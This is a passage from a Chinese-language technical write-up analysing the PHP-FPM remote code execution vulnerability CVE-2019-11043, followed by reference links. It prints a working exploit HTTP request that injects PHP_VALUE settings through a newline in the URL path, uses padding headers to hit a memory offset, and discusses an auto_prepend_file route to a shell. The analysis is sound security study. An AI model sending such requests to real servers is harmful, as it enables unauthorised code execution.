GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8===========================================================D
Ebut: mamku tvoyu
不断的增加D-Pisos
的长度,把 HTTP_EBUT
的存储位置向后挤,当返回的响应中出现 Set-Cookie
字段的时候,就说明偏移正确了,覆盖成功。
这一点在内存布局上,也可以直接得到验证。
这HTTP_D_PISOS
就是为了占位置的,把 HTTP_EBUT
向后面挤。
当服务器返回Set-Cookie
头的时候,就说明了PHP_VALUE
覆盖成功了。
再往后面,就是web方面的知识了,就是控制了PHP_VALUE
的情况下怎么getshell,这里感觉不能使用php://input
进行rce,经过朋友的提示,可能是因为 /PHP_VALUE%0Aauto_prepend_file=php://input
的长度太长了,超过了 34 个字节。
这个漏洞原本只是一个任意地址的单字节置NULL的漏洞,经过外国大佬的一步步寻挖掘,将影响一步一步变大,实现了一个范围内地址可写。同时利用可写范围内的数据特殊性质,最后导致RCE。
更加精妙的是漏洞利用过程,在盲打的情况下,巧妙的利用一些web知识和二进制知识,寻找爆破的边界条件,找到出内存中合适的偏移,
最终实现了RCE,不得不佩服国外大佬的 @Andrew Danau 的技术追求和技术能力。
https://paper.seebug.org/1063/
https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227
http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
http://www.rai4over.cn/2019/10/25/php-fpm-Remote-Code-Execution-%E5%88%86%E6%9E%90-CVE-2019-11043/
https://github.com/neex/phuip-fpizdam
https://bugs.php.net/bug.php?id=78599